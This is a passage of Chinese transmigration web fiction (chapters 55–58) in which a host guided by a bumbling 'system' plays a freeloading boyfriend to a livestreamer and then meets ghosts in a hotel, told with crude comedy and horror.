996一出来就先对宿主进行了极其夸张的赞誉,用力的鼓舞他的自信心,【宿主这几天做的太好了,比原主还好!】 姚粱有点迟疑,“……我就这样做就行了是么。” 【绝大部分是对的。】996说,【捞男就是捞+偶尔给点甜枣哄一哄,刚柔并济,打一棒子给一颗甜枣。】 【而且这个任务没什么剧情,宿主要做的就是要钱享受,偶尔哄哄他,然后替他跟大哥聊天再把他送出去,等一切一切都完成以后宿主就自由了!】 996有点自得的想这种任务简直就是洒洒水的事情,这不躺着就能完成么? 姚粱嗯了声重新闭上眼打算继续酝酿睡意调整作息了,只是刚闭上眼睛没一会儿旁边的热源就寻找着贴在了他身上,明明大热天却是用一个蜷缩的姿态的睡着,把脑袋靠在姚粱胳膊上窝着脖子睡。 这动作并不过分,姚粱也不太在意这么轻微的肢体接触,任由他靠着睡。 越酝酿睡意脑子里越清醒,开始想这个任务,又开始想旁边这个自己要一起住很长时间的任务对象。 太瘦了。 刘广白是生下来的瘦,天生骨架小个子也没有一般男性高,有上镜需求只会把自己搞的更瘦,是一个极其符合大众刻板印象的0。 睡不着也不干别的硬躺着很折磨人,姚粱熬到六点就直接起来了,打算直接熬到今天晚上再睡继续调整作息。 他起来自己搞了饭,吃完饭洗澡的时候看了看镜子里免费得来的腹肌思考了会儿决定继续原主的健身房,他之前也是练过的,不过还没练出来什么名堂就家里蹲了。 等结束一通乱七八糟的事情再回家已经九点多快十点,姚粱重新洗了澡换了衣服再次站在镜子面前端详,眼前这张脸还是他自己的脸,但对于他其实已经很陌生,是一张作息正常下来很健康的面孔。 他有点说不出的复杂,叹了口气根据原剧情的人设早早去叫刘广白起床,叫了几声刘广白仍旧迷迷糊糊翻了个身用被子挡住脑袋不肯起,他就直接把被子掀起来拽着人的胳膊让他起床。 “干嘛呀。”刘广白困的眼睛都睁不开,“几点了。” “十点,起床吃饭,我买饭了。” 他蓝色的头发有点炸毛,迷迷糊糊脑子都没清醒第一件事就是先把头发压一压,这才下床找拖鞋像个游魂一样的飘进卫生间洗漱,嘴里咬着牙刷出来含糊的说话,“我下次直播你千万不要进来,我那是在赚钱啊,你老进来我不好圆,时间长了粉丝也有意见。” 让人意外的是平常不太爱理这种话的姚粱今天居然还嗯了声,刘广白看了他几眼没说话,重新进卫生间洗漱,换了套睡衣才去餐厅吃饭,“烧水了么?” “没有,忘了。”姚粱耐着性子回答。 刘广白神情有点无奈站起来自己去烧了,“我吃饭要喝水的呀。” 刚烧好的水太烫,他本来就在有意延长吃饭时间来达到一个少吃的作用,现在没水顺饭吃的更慢了,姚粱坐在对面没什么规律的用手指敲桌子。 咽下一口饭的刘广白抬头问他,“你是不是没钱了呀?” “嗯。”姚粱答应了声,伸出手跟他搓了搓。 “给钱。” 第55章 第五十五章 我怕鬼 “你是不是又看直播什么的了。”刘广白息屏看了下时间, “今天才二十号,我一号给了你五万,我十号给了你三万, 十二号我又给了你五万,我中间还零零散散给你发了不少红包,然后你今天就没钱了?” “够干什么的啊。”姚粱靠在椅子上翘着二郎腿玩手机, “我都不买什么好鞋子好衣服的,要是买了早没了。” “咱们得省着点啊。”刘广白放下筷子不想吃饭了, “咱们每个月房贷是多少,车贷是多少, 乱七八糟什么都得花钱, 我出去拍摄一次成本也不低, 而且现在我有流量能变现, 等以后没流量呢, 我能火一辈子吗。” 姚粱已经没耐心听了, 耷拉着个脸看他几秒,“不给?” 今天刘广白似乎格外硬气, 瞪圆了眼睛在那里打算跟姚粱僵持,虽然没明确说不给, 但态度就是这个意思。 姚粱笑了下站起身就走,“不给别给, 谁稀罕。” 他去沙发上拿了件外套抓在手里,又在玄关处换鞋拿车钥匙, 一副要走的样子。 刘广白最开始还抱着双臂看他走,但见他换了鞋真要走就有点慌,立马站起来,“不是你去哪?” “哪都能呆。” 姚粱已经打开门往出走了, 他还没走到电梯口,身后那个有些瘦的身体就像个导弹一样的冲出来从背后抱住他,声音里已经带了点哭腔,“你是不是不回来了,我给你还不行吗?” 搞到钱又把人弄哭的姚粱开始实行一棒子再给一颗甜枣的策略,假惺惺转过身用手指擦了擦刘广白眼下那点湿润,“哭什么,我又不是走了不回来,不哭了啊,一会儿眼睛肿了。” 那个过分瘦弱的身体能被轻而易举的抱进怀里安抚,刘广白兀自抽噎着伤心,抱着他的姚粱却面无表情在心里跟996吐槽,“爱成这样?我的妈。这种绝世恋爱脑,跟个吃软饭的低声下气,他要笑死我是吗?他给钱,结果要钱的成了大爷?还是个养胃男,我真是,僵尸见他都绕道啊。” 【可能就是爱吧。】996说,【跟陷入爱情的人是说不通的。】 “我常常怀疑身边的人到底是类人还是人类。”姚粱的表情说不出是无语到极致还是被气笑,“这恋爱脑还以为这死男的是关心他让他不要哭呢?实际上全句应该是别哭了一会儿眼睛肿了你晚上怎么直播捞钱啊。” 996看得出宿主已经很无语了,只好继续安抚,顺便跟着宿主叫,【至少恋爱脑最后清醒了不是,回来把这死男的给捅死了。】 “呵呵。” 姚粱用两声冷笑作为系统嘴里清醒的回答。 …… 刘广白拉了个小车去取快递,拉了满满一车回来全放在客厅,拿了把裁纸刀坐在客厅开始拆快递,姚粱坐在一边看他拆了一个又一个,大多都是品牌方邮寄到家里的试品,其中也掺杂着些自己的东西,他拆出一个粉色的穿着绿裤子的猪,举起来在姚粱面前捏了捏发出一声特别悠长的猪叫,“这是我自己的。” 姚粱觉得有点好笑,但那死男的大概只会觉得无语,于是他也做出了一个无语的表情,“……” 没有得到什么正面反馈的刘广白并不气馁,把东西放在一边继续拆,拆着拆着又拆出一大包零食,“这个每包比看着大呀。”他来回摆弄了下,“我不能吃完,放冰箱里也不好,我吃一小半剩下的你吃行不行?” 姚粱嗯了声又开始吐槽,“嘴子都吃吃个剩下的……嗯?” 996正在担当最忠实的倾听者,听到一半姚粱就闭上嘴脸色要多古怪有多古怪,然后他敲了敲自己的脑袋,“你们给的记忆是不是有问题啊?” 【我们给的记忆是比较表层的,也可以看作是书里写过的东西整合,只要是书里的东西我们都有,一般来说是没什么问题的。】996异常笃定的说完又想起上个世界缺失剧情的bug,顿时有点心虚,但又安慰自己不可能全是bug。 哪来那么多bug哈哈哈。 姚粱现在知道的996也知道,它正翻阅记录没看出什么不对,就听姚粱开口,“他俩是不是有病啊,我记忆里他俩好像连嘴子都没吃过。” 他说完又觉得理解了,笑声里全是不加掩饰的百分之百的嘲笑,“养胃男已经养胃到连嘴都不亲了。” 996觉得这样想好像也没错,这脆弱的自尊心。 零食被接到手里的时候只吃了不到三分之一,本来包装就不大,三分之一姚粱估计就是自己一口的量,“你就吃这么点不吃了?” 刘广白嗯了声收拾要试的化妆品,“不吃了,吃了零食晚饭又不能吃了,容易胖。” 姚粱两口把剩下那点吃完去收拾一地的快递箱,“就这么点东西,你往家里放个跑步机稍微跑一跑就没了。” “我没精力跑。”刘广白把东西放回房间回来拦着他不让他收拾,“我要弄扁,弄扁好往下扔,你没弄过别上手了。”他叹了口气觉得累,“我每天晚上直播,然后三四点四五点睡,起来起码得十二点一点两点,我就又得开始搞这些收拾自己去直播,累都累死了。” 姚粱看他拆了几个也自己上手,跟他找地方用巧劲不一样就靠蛮力撕开压扁,这么下来效率居然还比他快。 今天有人搭手比往常结束的早,更何况起的也早,刘广白看完晚上要播的品居然闲了下来,这突如其来的休闲时间竟然让他产生了某种类似受宠若惊的感受,但他还是闲不下来决定先去网上刷刷看有没有什么热点,有新的就该继续拍素材了。 翻来翻去居然还真没热点,他不可置信的翻来翻去确定自己现在就是闲下来了,他有点困想睡觉,但又不肯把这点时间再浪费到睡觉上,在家里溜达来溜达去,搬了个小凳子坐在阳台趴着看外面去了。 而此时的姚粱已经出来了,他在外面逛了一圈先吃了点垫垫肚子转道就去了个全天营业的清吧,喝完第一轮又去了另一个常去的。 往常死男的到这儿挺能玩,但到差不多十一点或者一点后肯定是要应刘广白的要求回家的。 但现在姚粱明显玩不动,第一轮都差点给他喝晕,现在靠在那里一句话都说不出来了,他问996,“我昨天熬了通宵今天喝酒晚这么晚我不会要死吧。” 【不会的,我会打120。】996很自信自己的手段,【我还能让你死的迟一点,让你能等到120。】 ……有病。 姚粱偷偷在心里骂了一句996。 他玩不动,卡上还有别人在玩,他就干脆把中心位置让开让他们玩个尽兴,自己在一边捂着眼睛挡住过于晃眼的光线,他没打算睡,在这种喧嚣的环境里也没想到能睡着。 直到凌晨三点散场时他被服务生叫醒姚粱才后知后觉自己睡着了,这里面安静下来,灯光也全都关掉,桌上酒瓶随意摆着,地上很多烟头,他坐在原地缓了会儿就拎着外套往外走,打开手机看了眼现在是三点十几分,下面就是一堆来自刘广白的消息。 [1:31] 【流光白:我下播了你什么时候回来。】 [1:56] 【流光白:你不会喝多今天不回来了吧?】 【流光白:上次喝多我就跟你说了不管怎么都得回来啊。】 [2:28] 【流光白:也快到散场的时候的吧。】 [2:59] 【流光白:还没结束?你好歹看一下手机啊。】 [3:12] 【yl:1】 他很简单的回了个1就在手机上叫代驾,这个时候还算好叫,有相当一部分人专门就是跑这个时间段,姚粱只等了大概二十分钟代价就到了,不过回去的路上有点费时间,就是晚上速度比较快等再回去差不多四点出头了。 姚粱现在睡了一觉有点清醒,地下车库安安静静的,只有他的脚步声在过分空旷的环境里回响,他绕了圈找到自己住的楼进电梯,掏出钥匙在那开门,锁芯被扭了几下他还没来得及从外面拉开里面的人就一推门扑出来了。 “你怎么才回来啊。” 刘广白的声音里又有哭腔了,姚粱没从他身上闻到什么化妆品的味道,但头发的发胶还在,这是只卸了妆连澡都没洗就光等了? 他已经无力吐槽刘广白别太爱,对着一个养胃到连嘴都不亲的,对着一个软饭硬吃的爱成这样也是没谁了。 “嗯——别抱,喝的有点晕,我去洗澡了。”姚粱把裹着薄被的刘广白从自己身上撕下去。 “你上次不是答应好会在我下播前回来吗?” 姚粱把玄关的灯打开,就算是暖灯他也能看清刘广白就是哭过了,“喝多了忘了睡了一觉就迟了。” “真的是最后一次了,我一个人在家很害怕啊。” 刘广白依旧红着眼睛跟在他身后。 “你怕什么,家里有狼能吃了你啊。” 刘广白闻言更委屈了,大声喊: “我怕鬼啊!” 第56章 第五十六章 kpl 如果是在自己的世界姚粱完全可以毫不犹豫的说这世界上根本没有鬼, 你想太多了,但在这个都市灵异设定的世界里他还真不敢这么说。 “……你买点辟邪的回来。” 他只能这么说。 一晚上刘广白孤身一人在家似乎怕狠了,现在对他几乎是寸步不离, 甚至像个猫似的蹲在卫生间门口隔着层磨砂玻璃在那里等姚粱,“我买了,枕头下就放着啊。” “那你还怕, 怕的时候从枕头底下摸出来抱怀里。” 那个人影蹲在那里在玻璃上映出一个小小的黑色的影子,雾气一点点爬在玻璃上姚粱就看着那个影子一直晃, 等雾气太多聚成水滴落下的时候带着影子都扭曲起来。 刘广白很生气,“谈恋爱之前我就说了我晚上不敢一个人待着啊, 你那时候就答应过我。” “行。”姚粱边洗头发边含糊不清的回答。 原剧情那死男的还真答应过这个, 甚至刘广白去外地拍摄都得把这养胃男带着晚上睡一张床。 ……有病。 姚粱穿了睡衣刚一拉开门那个靠着门的身体就跟着门倒, 然后抓住他两条腿才算稳住身体。 姚粱额头青筋暴起, 咬着后槽牙, “起来, 靠门上干什么。” 刘广白起来弱声弱气,“你要睡觉了吗, 我不敢一个人洗澡,你能不能先不要睡。” 姚粱想问昨天难道不是我去睡觉你自己洗澡的么, 今天怎么就又不敢了,话都到了嘴边他又咽下了, 算了……反正又不困也不睡,掰扯这个浪费口舌干什么。 于是他只是淡淡嗯了声就出去上床躺下玩手机顺便等等刘广白。 晚上睡了一觉再醒来他有点难以入眠, 如果不刻意去睡怕是今天又要睁眼到天明了,但到底说出口要等人他还是耐着性子在那研究那个手机,他把原主手机翻来覆去看了好几遍,什么隐私空间都看了一遍, 发现了一堆辣眼的东西,还有各种性感美女。 姚粱看着手机里这堆东西脑袋上缓缓冒出三个大大的问号,这些东西他一个gay实在不感兴趣,于是边看边删,删到后来几乎翻了个底朝天也没找到任何一个彩虹类型的东西,于是他更蒙了。 遇到问题不知道就要问,姚粱立马呼叫996,“这养胃男是个双插头还是个异性恋啊。” 996用看智障的眼神看他,【死男的有男友啊。】 姚粱也用看智障的眼神看它,不过他表现的更为直观直接骂出声,“智障,有男友就是同么。” 996:【……你别骂了。】 “伤到你脆弱的心脏了?” 姚粱毫不客气,见它脑子不太好也没打算从996这里获取什么有用信息的打算了,他把手机删了个干净又去研究绿泡泡,发现也干净的不太像话。 这对吗——一个常年混迹酒吧直播间的男的,虽然养胃吧,但通讯录这么干净怎么看怎么不对劲。 姚粱思考几秒就去切换绿泡泡号那里看他到底有没有别的号,一切发现那里加上现在登录的这个一共有三个微信号,其中一个跟现在这个一样是个忧郁男头,另一个头像有点可可爱爱的。 他率先点进另一个忧郁男头,果不其然就是一堆乱七八糟的信息,几乎就是各种妹子。 到这儿姚粱也差不多能确定这死男的大概连双插头都不是而是个彻头彻尾的异性恋。 ……真好啊,为了捞实在是付出好多。 他粗略看了眼,各种美女似乎都对原主情有独钟,各种消息坚持不懈的问候,上面也有原主回复过的信息。 【他这么受女人欢迎啊。】996也趴在姚粱肩膀上看辣眼聊天记录,【我去……】 “受欢迎个屁,这男的养胃不去线下,人家抓住他一个可不使劲薅,随便夸几句就飘飘然,智障。”姚粱想了想再次攻击刘广白,“喜欢这种智障的也是智障。” 996弱弱开口,【你别骂了……】 受到姚粱一记眼刀的996怕也被骂,不敢吭声了。 姚粱正挨个翻那几个经常聊天的,突然感觉身边的温度降了点,突然碰到某个冰凉的东西姚粱一个激灵,猛地一抬头就看见不知道什么时候从卫生间出来的刘广白正趴在那里看他。 刘广白身上冒着凉气,不像个刚洗完澡出来的,姚粱面不改色把账号切换到那个头像有点可爱的绿泡泡才放下手机,“你身上怎么这么凉。” “我怕刚染的头发掉色。”刘广白神情自然的躺下似乎没有看到手机里的内容,“我才染了几天,这个蓝色挺容易掉的,挺好看想多留几天。” 姚粱本来就是随便问一句,闻言又嗯了声重新拿起手机看那个绿泡泡,一打眼就看见个名字是句号的放在置项。 【流光白:哥哥注意休息呀~】 最后一条消息是这边结尾还停留在昨天上午,对面并没有新来的消息,姚粱想了想把手机递给刘广白,“发条语音维护下。” 刘广白神情有点不情愿,不太肯接手机,“你按着我说吧、哥哥最近好一点了嘛~” 语音嗖的一下发出去姚粱去翻其余人的聊天记录,挨个把时间近的红点全点了进去挑着回复,不时点评几句,刘广白也没有睡觉的意思就把脸放在他的肩膀上贴着看。 等点到某个账号里面时一张图片猝不及防弹了出来,直接来了个牙签突脸,姚粱立马摁开语音,“卧槽你纯傻逼,截图发你老婆了你等着吧。” 一长串问候的语音发出去,姚粱直接从牙签方面狠狠锐评了一番。 一直把脸贴着肩膀安静的看着的刘广白突然把脸埋进他的肩膀开始笑,不知道是哪句话戳到了他诡异的笑点他这么一笑就半天停不下来,最后只好强硬扒着自己的脸,“不能再笑了,要长纹了。” 他笑他的姚粱骂自己的,他照旧完成每日骂人kpl把手机一扔这次是真要睡了,刘广白却笑的没力气了,跟着他一起躺下,这次比昨天挨的还要近,又笑了好一会儿都快把姚粱给笑麻了他才擦擦眼角的泪,“我都比他大。” 姚粱:“……” 姚粱闭着眼不理他,刘广白却依旧没有从他的肩膀上起来的意思,反倒趴着开始细细的嗅闻,从肩膀开始一点点往上,掠过的鼻子。 这动作搞的姚粱莫名不适,并不像情人之间亲昵的动作或者要亲上来,反倒像某种动物在嗅闻自己的饭找什么地方下嘴一样,他闭着眼推开刘广白,“闻什么,刚洗完澡没酒味儿。” 他只是轻轻一推,刘广白就弱不禁风的被推到一侧,床发出嘎吱一声,过了大概十几秒他又重新回来,“没闻什么,你的沐浴露好香。” “……咱俩用的是一瓶。” “可是在你身上就是很香,以前都没这么香过。”刘广白似乎打定主意今天就要跟姚粱亲近亲近,可姚粱实在没有那个跟陌生人亲近亲近的习惯,更何况这刘广白跟那个养胃男也没亲近过,今天这是犯什么病。 “你干什么啊今天,几点了不睡了啊?”姚粱刻意把声音放得很重,里面的不耐烦几乎要满到溢出来。 “试试吧今天?”刘广白亲昵的贴着他,抱着姚粱一条胳膊晃了晃。 姚粱思考了几秒也没想出他嘴里的试试到底是试什么,又或者说对这个试试有一点模糊的念头但又觉得太过荒谬被自己潜意识里就抹杀掉,“……试什么??” 刘广白努努嘴用眼神示意他自己要试什么,姚粱脸色噔一下就青了,还真是他想的那样啊。 不是他有病吧,虽然他不养胃但原主养胃啊,跟一个养胃男说试试这个——这是真心的还是故意往心口上插刀。 姚粱觉得现在养胃男该气急败坏了,于是也一脸气急败坏的坐起来,“你什么意思!” “试一试,万一呢。”刘广白不想放弃,“我们都没试过,万一你跟我行呢?” 姚粱脸色很不好看,“你故意往我心口上插刀呢,不就是今天晚回来点吗。”他说着坐起来就准备走了,“觉得我不行出去找个行的,没拦你。” “我没有这个意思。”刘广白为自己辩解跪起来直着身子去挽留他,“就是觉得你万一对我行呢。” 姚粱本来也没打算大半夜跑出去自己找罪受,就是虚晃一枪,刘广白挽留也就顺势坐下来,沉着脸不去看他,“以后少提,要么你就去找别人去。”他说完就一扯被子用后背对着刘广白,对方也不说话了,似乎在那里坐了很久才慢慢挪动着睡下。 姚粱觉得自己的贞操十分岌岌可危,现在他妈的凌晨四点多,刘广白就这样,这不活脱脱一个午夜凶零么,现在他以为自己养胃都要试试,哪天发现自己不跟原主似的养胃说不准真要上了。 姚粱:“……” 救命啊。 他现在十分庆幸刘广白早上醒不来,不然早露馅了! 他躺在那思考了会儿,刘广白也彻底安静下来,就当他以为今天能顺顺当当一次性睡到天亮的时候身后的刘广白又像个鬼一样的趴上来了: “要么趁你睡着我给你…,万一是你心理上的原因呢。” 姚粱:“???” 第57章 第五十七章 他以后要睁着眼睛睡觉 这个午夜凶零在说什么?啊!他在说什么? 姚粱不可思议的瞪大眼睛, 瞬间开始怀疑自己以后是不是要睁着一只眼睛睡觉来站岗保证自己的安全。 刘广白一脸纯良的眨巴着眼丝毫不觉得有什么问题,“你是我男朋友啊。” 姚粱无力反驳,现在的心烦不是演的而是真被刘广白给搞心烦了, 仔细想了想他也不可能趁着自己睡着真干点什么,也不再尝试沟通继续用背对着他睡觉了。 …… 这么想想是安慰自己,但姚粱其实还是怕刘广白偷吃, 胆战心惊了好几天,甚至几次询问996有没有保护宿主人身安全的东西快点拿出来, 几次被告知没有这种东西,就算有保护人生安全的也不是保护这种安全的。 姚粱心有点死死的坐上飞机了, 他晕机, 到底是轻度中度还是重度随机刷新, 一坐上飞机就闭上眼睛忍着, 刘广白上了飞机摘掉了帽子和墨镜, 但是口罩还是没摘, 过了大概一个小时靠着姚粱肩膀开始痛苦的呻/吟,“好晕……撑不住了。” 今天刷新的是重度晕机, 姚粱也不太能撑得住,睁开眼看一脸虚弱的刘广白强忍着难受安抚着拍了几下, “快了快了,马上就到了。” 实际上并没有, 还有一个多小时。 他嗯了声再次虚弱的趴下了。 过了一会儿…… 刘广白:“还不到啊。” 姚粱:“还有半个小时,马上马上。” 又过了十分钟…… 刘广白:“不是说半个小时么?” 姚粱:“马上马上, 真的快了。” 又过了一会儿…… 刘广白死死闭着眼,摁亮手机飞快看了一眼,“刚才不是说还有半个小时吗!明明还有四十多分钟!” “快了快了。”姚粱伸手一把按住他的手机,“你别看了, 闭上眼睛一会儿就快了,我也不能把飞机打下来,睡吧睡吧。” 姚粱也难受,被他缠着枕在肩膀上发出难受的呻/吟搞的他更难受了,想跟刘广白对着抱头呻/吟算了,但问题倒下一个他再难受也忍一忍吧,总不能出来两个人全倒下了。 …… 好容易熬到下飞机刘广白蹲在原地不想走了,姚粱想了下,“先走,这里通风不好,蹲着也恶心,去找行李那里。” 他勉强嗯了声走的很慢,姚粱率先快走几步去传送带上找到了两个大行李箱,临到出门前刘广白又站住不动了,“让我缓缓,出去前把帽子还有墨镜戴上。” “接机车就在门口,要么直接把口罩摘了好喘气,闷着越热越难受。” “我怕太阳。”刘广白说,“闷就闷点,晒了我更难受。” 姚粱有点无奈,还是嗯了声站在那里打电话跟接机的司机开始沟通了。 …… 他们住的酒店离机场并不近,差不多有一个多小时将近两个小时的车程,尤其是在两个人都晕机的情况下坐车可谓是双重buff。 刚上车就觉得车里不太凉,坐了会儿更难受,开着空调又没法开窗也只好先忍着,直到差不多半个小时后才勉强好受一点。 这个点外头就像是蒸笼,进了酒店好多了,姚粱去前台登记拿了房卡带着刘广白坐电梯上了四楼,沿着房号一个个找过去才发现两人住的是一间尾房。 姚粱:“……” 他抬头看了眼周围的监控,刷卡进去在房里转了一圈感觉卫生环境还不错,于是把行李箱放下去收拾卫生间了,刘广白把帽子一摘躺在床上躺尸,姚粱转了一圈也有点受不住,把空调打开也躺下打算先睡一觉缓缓精气神再说。 一觉醒来姚粱并没有感觉好受多少,脑袋还是昏昏沉沉的,颇有种不知今夕是何年的感觉,看了眼旁边还在睡的刘广白叹了口气自己去洗澡了。 他用冷水试图让自己更清醒一点,飞快的洗了个战斗澡,临出去前瞟了眼卫生间的镜子发现又起了雾。 ……冷水也起雾? 姚粱思考了几秒,觉得可能是卫生间更热一点突然冷一下才有了水汽,没当一回事出去了。 他看了眼时间,现在是晚上九点左右,天肯定已经黑了,但不确定外面天气到底怎么样,干脆去拉开点窗帘看看外面,窗帘一拉开没有想象中的星星和月亮,而是一片浓稠的黑。 姚粱:“……” 什么东西。 这尾房外面就这样? 姚粱骂了声麻烦干脆套上衣服准备下楼去找前台换房了。 他拿了手机跟房卡,怕刘广白半途醒来看不见他先发了个信息才关上门出去,电梯靠在另一端,他们上来的时候就走了很久,一出房间明显感觉到外面没有房子里凉爽,他惦记着换房没管别的,走的很快,他路过了一间又一间房,几乎走到了另一端的尽头也没看到什么电梯。 姚粱神情有点凝滞,很不确定的往回走,走到一半依旧没看见电梯。 姚粱:“……” 他再次退回去,这次几乎是一个门一个门的数。 没有。 没有电梯。 首先排除电梯自己长腿跑了的微乎其微的可能性。 姚粱这次走的比出来的时候还快,立马朝原路折返。 471,472,473,474……477。 姚粱站住不动了,原先的尾房478不翼而飞,477现在成了最后一间房。 姚粱立马掏出手机联系刘广白,上一条说自己出去的消息已经发送成功但没有收到回复,他直接拨了个语音通话过去,屏幕上那个圆圈一直在转,让姚粱本来就焦躁的心情更加恶劣了点。 他突然发现了点什么,最上方的信号标识现在几乎为零,一点信号都没有。 “996……996!出来。” 平常一叫就出来的系统现在一点声音都没有,就当姚粱以为是不是996也没信号的时候一道哆哆嗦嗦的声音终于出来了。 【宿宿宿宿宿宿、宿主……】996快哭了,【我也怕,别叫我啊。】 姚粱心沉了下去,“真有鬼啊。” 996哭的更大声了。 姚粱:“……你们做这种任务没有解决鬼的办法么?” 【物理解决。】996还是很害怕,【直接打死。】 姚粱:“???” 【每次打死我都很害怕啊!】996哭了。 姚粱想骂,但是现在要靠它还是咬着牙忍了忍好声好气,“那你现在出来打死。” 【我不能随便打死的。】996说,【只有宿主受到生命危险我们才能插手,不然平白无故打死人家很没有道德也没有道理。】 “我被鬼打墙了,是鬼先不道德,你打吧,我宣布你是道德的。” 【我手软……】99哆嗦着说。 “你软个屁。”姚粱开骂了,“这周围屁都没有你手软?” 【都是鬼啊宿主。】996声音抖的不成个调子,【周围站的都是鬼你看不见我能看见啊!】 姚粱:“……” 这种事情反正他看不见下次就不要告诉他了。 “我不干了。”姚粱毫不犹豫,“你现在把我送回去,我现在就去死,我要死的明白点,别被看不见的鬼给宰了。” 996突然不吭声了,姚粱以为它在装死,叫了好几声还是没有任何回应。 姚粱:“……” 他现在骂都骂不出来。 姚粱已经失去了所有力气和手段,选择对996嘴里的都是鬼忽视不见,他看不见就是没有,这么想着他伸手去摸477后面那堵墙,实心的,也不像有扇门的样子。 姚粱实在没招了,干脆去敲那个477的门,空旷的地方敲门的声音不断回响,果然没人来开门,他有气无力再敲了几下直接放弃了,破罐子破摔蹲下了。 人类面对未知的时候既然无法反抗也不清楚到底怎么回事还是躺平吧。 姚粱躺平了,身后的门却发出了细微的声音,刚被打开了一个小缝刘广白的声音就传了出来,“你在门口蹲着干什么?” 姚粱慢了半拍回头,看见房间里黑着,而刘广白探了个头出来,“你敲门干什么,没拿房卡么,但是房间里黑着,房卡也不知道哪去了。” 现在的刘广白在他眼里简直发着光,把他从鬼堆里拉出来的人差点让他感动的哭出来,他慢慢站起来,“我刚好像碰见鬼打墙了,咱们这间房找不到,电梯也找不到。” “什么?”刘广白彻底推开门了,“我刚才是被敲门声给吵醒的,那是谁敲的?” “我敲的是477,不知道为什么478的门会响。”姚粱把房卡插入卡槽接通电源,“你怕不怕,实在不行换个酒店住吧?” 那天在家害怕的不敢睡觉的刘广白现在却很迟疑,“现在都十点多了……就算要换也等明天吧?要是真有什么两个人应该没事。” 他出去的时候九点多,那么也就是说他自己在走廊里来回兜圈子转了一个小时左右。 姚粱思考了下也是这个理,照鬼片套路都是落单杀,两个人在一起应该好点,再不济就想想办法让996出来物理超度一下吧。 洗完冷水澡没有疼的脑袋现在又疼起来,姚粱率先进房间径直往窗户那里走去,刘广白一个人站在门口又朝外看了几眼。 长相漂亮的单薄蓝发少年面无表情的看了会儿,毫无征兆的朝走廊呲了下牙。 第58章 第五十八章 镜中人 窗帘被大力拉开, 外面天很晴,星星和月亮都异常清晰的落在天空上,姚粱再次把窗帘拉好, “那会儿我起来看见外面是黑的,一点星星都看不见那种黑,我还以为窗户是封死的打算去下面找他们换房, 出去就那样了。” 他说完又打开手机看了看满格的信号,总算长长吐出一口气。 虽然眼前这人在未来会捅死自己, 那也比跟鬼待在一起强。 “那就不要单独行动了。”刘广白去翻自己的行李箱把化妆包找出来,“我睡不着了, 化个妆准备拍摄, 你还睡么, 要是不睡来帮帮我吧。” 有些事没遇到之前他是不信的, 今天遇到了三观受到了极大的冲击, 最初的对这个灵异世界里灵异二字浅显模糊的认识突然明了起来, 过往的一些认知也彻底被颠覆了。 他脑子乱糟糟的痛,也不知道是怎么回事, 下午也睡了觉现在不想睡,于是嗯了声也去下面行李箱开始翻随身携带的药, 他找了片止疼药就着水喝掉,刚洗完脸从卫生间出来的刘广白就眼尖的看见了药瓶, “你哪里疼啊,只吃止痛治标不治本啊。” “头疼。”姚粱皱着眉坐在床边, “针扎似的疼。” 刘广白听了这话就抿着嘴笑,“没准你是被吓到了,我亲一下就不疼了。” 姚粱:“……” 姚粱嘴都快撇到脸外了,他很不想这样, 但显然已经养成了刻薄的性子,不由自主的就要刻薄一下。 “不亲就不亲嘛你什么表情啊。”刘广白拿出润唇油往嘴上厚厚涂了几个来回,“我嘴巴这么香,我人这么香,你还不愿意亲。” 他说完就不乐意搭理姚粱了,把化妆包摊开举着镜子开始化妆,他撕开了个红色的美瞳戴好从头到尾开始一点点打理自己,姚粱也就待在一边看那些他说不出名字的化妆品,时不时拿起一个在手上试一试。 刘广白盯着镜子给了他一点余光,“不要给我弄坏了,我没带别的,这几天就靠这些了。” 姚粱看了会儿真情实意道,“你化的像被打了一样。” “……”刘广白:“我要拍镜中人变装,镜子里面是个鬼,要化的阴森一点。” 提起鬼姚粱又不吭声了,“……大半夜的。” “真招来鬼上我的身我就直接咬你。” 姚粱彻底不说话了,神情很不可言说的听这个午夜凶零嘴里说出的咬,怎么听怎么感觉不是什么纯洁的咬法。 刘广白化妆并不快,频繁的改妆,不算浓的妆容差不多一个多小时将近两个小时完成,姚粱把手机玩了一遍他才堪堪结束,那堆化妆品就摆在那里暂时也不打算收拾就准备下去弄道具了。 姚粱又把他叫住了,“我没钱了。” 对着刚才把他从鬼堆里解救出来的人姚粱难得有了点类似不好意思的情绪,但不多:“给钱。” 刘广白:“?” “我不是二十号给你了吗?” 二十号给了钱立马去酒吧激情消费一把,刚才姚粱刚进直播间女主播叫哥哥哥哥哥哥,男主播叫咯咯咯咯咯,哥哥声音此起彼伏,正碰上打pk,他就在把剩下的全刷给别的主播了。 姚粱很慢的眨了下眼,“花完了。” 刘广白皱着眉打量了他好一会儿。 他打量的姚粱甚至有点诡异的不自信,剧情里那死男的要钱好像都没他费劲,自从他传来刘广白甚至都没给他发过什么小红包,姚粱顿时有点自我怀疑,难道他连养胃男都不如? “996。”姚粱叫它,“我是不是穿帮了?” 【没有哦宿主。】996觉得前景一片大好,【现在的扮演度每天都均匀增加,我估计照这个进度应该能到七十,剩下那三十应该就是把刘广白送出去再加上被捅死了。】 确切的数据支撑姚粱心放下一半,再抬头刚才还打量他的刘广白已经下床了,“来跟我拍摄吧,拍完给你转。” …… 全身镜摆在那里,刘广白没带那么多支架,姚粱只好担任了人形支架去帮他打光,一共要拍摄三段视频,一段看镜子,一段抬头,一段扭头看,姚粱最开始还觉得挺有意思,但连续拍了好几次后就觉得有点乏味,后续的剪辑工作也是个枯燥繁琐的过程。 于是他支着灯捞了手机看了几眼,还没刷几个视频就被刘广白叫了声名字,“灯歪了。” 姚粱只好远远把手机扔在床上去调整灯,尽量让灯的位置回到最开始的地方,而刘广白就维持着那个姿势让他调。 红色的美瞳被灯一照明显的过分,他又戴了黑色假发,看起来整体很协调,有种诡异的美感,刘广白一边挪动灯光一边根据他脸上来判断到底有没有调对位置,看完他的脸又去看镜子。 姚粱:“……” 姚粱的血液好像已经不会流了,在血管里缓缓凝固,冻的他控制不住咬紧了牙一个字都说不出来。 刚才被鬼打墙都没像现在一样的惊悚,面对着现在看着他的刘广白留给镜子的应该是个背影,但现在镜子里看着他的却是一张面无表情的正脸。 “你……”姚粱万分艰难的从嘴里挤出一个字。 “怎么了?”刘广白一脸不明所以跟着他手指的方向去看,跟镜子里的自己对上的视线,他呲呲牙,镜子里呲牙,他笑,镜子里也笑,刘广白顿时更疑惑了,再次扭头看他,“你怎么了啊?” 